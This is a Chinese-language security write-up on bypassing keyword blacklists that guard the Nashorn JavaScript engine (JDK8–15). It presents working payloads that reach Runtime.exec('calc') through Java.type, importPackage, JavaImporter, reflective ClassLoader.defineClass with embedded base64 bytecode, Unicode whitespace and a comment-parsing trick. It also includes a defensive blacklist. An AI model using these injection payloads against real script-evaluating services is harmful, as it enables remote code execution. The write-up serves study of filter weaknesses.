前段时间做渗透测试发现了js命令执行,为了更深入理解发现更多的安全绕过问题,经过先知各位大佬给的一些提示,于是有了第二篇。
在java1.8以前,java内置的javascript解析引擎是基于Rhino。自JDK8开始,使用新一代的javascript解析名为Oracle Nashorn。Nashorn在jdk15中被移除。所以下面的命令执行在JDK8-JDK15都是适用的。
而这次分析的主角就是Nashorn解析引擎,因为它的一些特性,让我们可以有了更多命令执行的可能。
我们先来看一下Nashorn是怎么使用的。我们可以调用javax.script
包来调用Nashorn解析引擎。下面用一段代码说明
String test="function fun(a,b){ return a+b; }; print(fun(1,4));"; ScriptEngineManager manager = new ScriptEngineManager(null); //根据name获取解析引擎,在jdk8环境下下面输入的js和nashorn获取的解析引擎是相同的。 ScriptEngine engine = manager.getEngineByName("js"); engine.eval(test); //执行结果 //5
上面的代码很简单就是定义了一个js函数加法函数fun,然后执行fun(1,4)
,就会得到结果。
Nashorn将所有Java包都定义为名为Packages
的全局变量的属性。
例如,java.lang
包可以称为Packages.java.lang
,比如下面的代码就可以生成一个String字符串。
Nashorn将 java,javax,org,com,edu 和 net 声明为全局变量,分别是 Packages.java Packages.javax Packages.org Packages.com Packages.edu和 Packages.net 的别名。我们可以使用new
操作符来实例化一个java对象,比如下面的代码。
var a=new Packages.java.lang.String("123"); print(a); //上面的代码等价于 var a=new java.lang.String("123"); print(a); //结果 //123
Nashorn定义了一个称为Java的新的全局对象,它包含许多有用的函数来使用Java包和类。
Java.type()
函数可用于获取对精确Java类型的引用。还可以获取原始类型和数组
var JMath=Java.type("java.lang.Math"); print(JMath.max(2,6)) //输出结果6 //获取原始数据类型int var primitiveInt = Java.type("int"); var arrayOfInts = Java.type("int[]");
Mozilla Rhino是Oracle Nashorn的前身,因为Oracle JDK版本提供了JavaScript引擎实现。它具有load(path)
加载第三方JavaScript文件的功能。这在Oracle Nashorn中仍然存在。我们可以使用它加载特殊的兼容性模块,该模块提供importClass
导入类(如Java中的显式导入)和importPackage
导入包:
load( "nashorn:mozilla_compat.js"); //导入类 importClass(java.util.HashSet); var set = new HashSet(); //导入包 importPackage(java.util); var list = new ArrayList();
JavaImporter
将可变数量的参数用作Java程序包,并且返回的对象可用于with
范围包括指定程序包导入的语句中。全局JavaScript范围不受影响,因此JavaImporter
可以更好地替代importClass
和importPackage
。
var CollectionsAndFiles = new JavaImporter( java.util, java.io, java.nio); with (CollectionsAndFiles) { var files = new LinkedHashSet(); files.add(new File("Plop")); files.add(new File("Foo")); }
在对Nashorn引擎有了新的理解后,我又有了非常多新的思路可以使用,而且都已经正常弹出计算机。
//使用特有的Java对象的type()方法导入类,轻松绕过 String test51="var JavaTest= Java.type(\"java.lang\"+\".Runtime\"); var b =JavaTest.getRuntime(); b.exec(\"calc\");"; //兼容Rhino功能,又有了两种新的绕过方式。 String test52 = "load(\"nashorn:mozilla_compat.js\"); importPackage(java.lang); var x=Runtime.getRuntime(); x.exec(\"calc\");"; String test54="var importer =JavaImporter(java.lang); with(importer){ var x=Runtime.getRuntime().exec(\"calc\");}";
在上一篇文章中,飞鸿师傅给了我一个关于ClassLoader的思路,这是我当时没想到的。因为黑名单中已经禁用了java.lang.ClassLoader
和java.lang.Class
当时就是想着防止反射调用和ClassLoader加载。(只怪我java不好),以下代码由feihong师傅提供**。**
这个绕过还是很有意思的,先通过子类获取ClassLoader
类,然后通过反射执行ClassLoader
的definClass
方法,从字节码中加载一个恶意类。下面的classBytes存储的就是一个恶意类,后面通过实例恶意类完成攻击。
String test55 = "var clazz = java.security.SecureClassLoader.class;\n" + " var method = clazz.getSuperclass().getDeclaredMethod('defineClass', 'anything'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + " method.setAccessible(true);\n" + " var classBytes = 'yv66vgAAADQAHwoABgASCgATABQIABUKABMAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAJTEV4cGxvaXQ7AQAKRXhjZXB0aW9ucwcAGQEAClNvdXJjZUZpbGUBAAxFeHBsb2l0LmphdmEMAAcACAcAGgwAGwAcAQAEY2FsYwwAHQAeAQAHRXhwbG9pdAEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAQABAAcACAACAAkAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACgAAAA4AAwAAAAQABAAFAA0ABgALAAAADAABAAAADgAMAA0AAAAOAAAABAABAA8AAQAQAAAAAgAR';" + " var bytes = java.util.Base64.getDecoder().decode(classBytes);\n" + " var constructor = clazz.getDeclaredConstructor();\n" + " constructor.setAccessible(true);\n" + " var clz = method.invoke(constructor.newInstance(), bytes, 0 , bytes.length);\nprint(clz);" + " clz.newInstance();";
恶意类的代码如下。上面的classBytes就是Exploit
类的字节码
import java.io.IOException; public class Exploit { public Exploit() throws IOException { Runtime.getRuntime().exec("calc"); } }
从上面的代码让我意识到禁用java.lang.Class
是不可能就阻止反射的,于是我开始思考一个反射poc中的哪些是重要的关键字。反射方法的调用和实例化都是关键的一步,他们一定需要执行。所以我禁掉了这两个关键字。
新的黑名单就这么形成了。
private static final Set<String> blacklist = Sets.newHashSet( // Java 全限定类名 "java.io.File", "java.io.RandomAccessFile", "java.io.FileInputStream", "java.io.FileOutputStream", "java.lang.Class", "java.lang.ClassLoader", "java.lang.Runtime", "java.lang.System", "System.getProperty", "java.lang.Thread", "java.lang.ThreadGroup", "java.lang.reflect.AccessibleObject", "java.net.InetAddress", "java.net.DatagramSocket", "java.net.DatagramSocket", "java.net.Socket", "java.net.ServerSocket", "java.net.MulticastSocket", "java.net.MulticastSocket", "java.net.URL", "java.net.HttpURLConnection", "java.security.AccessControlContext", "java.lang.ProcessBuilder", //反射关键字 "invoke","newinstance", // JavaScript 方法 "eval", "new function", //引擎特性 "Java.type","importPackage","importClass","JavaImporter" );
@小路鹿快跑 这位师傅给了我下面的代码,但是我在测试中发现是行不通的,unicode到最后被检测出来了,但是依旧感谢这位师傅,因为unicode给了我新的想法(那就是看源码)
String test53 = "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065.getRuntime().exec(\"calc\");";
既然Nashorn是一个解析引擎,那么他一定有词法分析器.(感叹编译原理没有白学)。于是我下载了源码,开始对源码进行分析。我在jdk.nashorn.internal.parser
包下面发现了Lexer
类。类中有几个函数是用来判断js空格
和js换行符
的,其中主要的三个字符串如下。
private static final String LFCR = "\n\r"; // line feed and carriage return (ctrl-m) private static final String JAVASCRIPT_WHITESPACE_EOL = LFCR + "\u2028" + // line separator "\u2029" // paragraph separator ; private static final String JAVASCRIPT_WHITESPACE = SPACETAB + JAVASCRIPT_WHITESPACE_EOL + "\u000b" + // tabulation line "\u000c" + // ff (ctrl-l) "\u00a0" + // Latin-1 space "\u1680" + // Ogham space mark "\u180e" + // separator, Mongolian vowel "\u2000" + // en quad "\u2001" + // em quad "\u2002" + // en space "\u2003" + // em space "\u2004" + // three-per-em space "\u2005" + // four-per-em space "\u2006" + // six-per-em space "\u2007" + // figure space "\u2008" + // punctuation space "\u2009" + // thin space "\u200a" + // hair space "\u202f" + // narrow no-break space "\u205f" + // medium mathematical space "\u3000" + // ideographic space "\ufeff" // byte order mark ;
很显然到这里我们已经获取了非常多的可以替换空格和换行符的unicode码。于是我就简单尝试了一下绕过。在尝试过程中发现部分也是可以被检测出来的,而另外一部分不起作用。我猜想是js和java的处理这些字符的逻辑不同导致的
String test62="var test = mainOutput(); function mainOutput() { var x=java.\u2029lang.Runtime.getRuntime().exec(\"calc\");};";
先把原来的一个注释过滤的代码拿过来,可以看到对注释的处理用的是正则,所以才被上面的unicode绕过了。
String removeComment = StringUtils.replacePattern(code, "(?:/\\*(?:[^*]|(?:\\*+[^*/]))*\\*+/)|(?://.*)", " ");
看上面的正则,我们发现对于单行注释的替换非常简单,就是以//
开头的后面的内容都替换为空,这就出现了新的绕过。这个绕过的原因是因为和解析器对于注释的解析不同造成的。
先看一下skipComments
函数。
protected boolean skipComments() { // Save the current position. final int start = position; if (ch0 == '/') { // Is it a // comment. if (ch1 == '/') { // Skip over //. skip(2); // Scan for EOL. while (!atEOF() && !isEOL(ch0)) { skip(1); } // Did detect a comment. add(COMMENT, start); return true; } else if (ch1 == '*') { // Skip over /*. skip(2); // Scan for */. while (!atEOF() && !(ch0 == '*' && ch1 == '/')) { // If end of line handle else skip character. if (isEOL(ch0)) { skipEOL(true); } else { skip(1); } } if (atEOF()) { // TODO - Report closing */ missing in parser. add(ERROR, start); } else { // Skip */. skip(2); } // Did detect a comment. add(COMMENT, start); return true; } } else if (ch0 == '#') { assert scripting; // shell style comment // Skip over #. skip(1); // Scan for EOL. while (!atEOF() && !isEOL(ch0)) { skip(1); } // Did detect a comment. add(COMMENT, start); return true; } // Not a comment. return false; }
从上面的代码可以看出来,当遇到以/
开头的就会检测第二个是不是/
如果是的话就回去找EOF换行符
,而这些//......EOF
之间的内容都会被当做注释绕过的。
那么当我们的代码是如下的样子
String test61="var test = mainOutput(); function mainOutput() { var x=java.lang.//\nRuntime.getRuntime().exec(\"calc\");};";
因为我们的正则不严谨,用于匹配的字符串为var test = mainOutput(); function mainOutput() { var x=java.lang.
而被解析后的代码为var test = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec(\"calc\");};
成功绕过了我们的检测。
上面的代码还有一个关于#
的注释,但是一直没有尝试成功,猜测可能跟assert scripting
这行代码有关。
http://hg.openjdk.java.net/jdk8/jdk8/nashorn/archive/tip.zip
https://www.oracle.com/technical-resources/articles/java/jf14-nashorn.html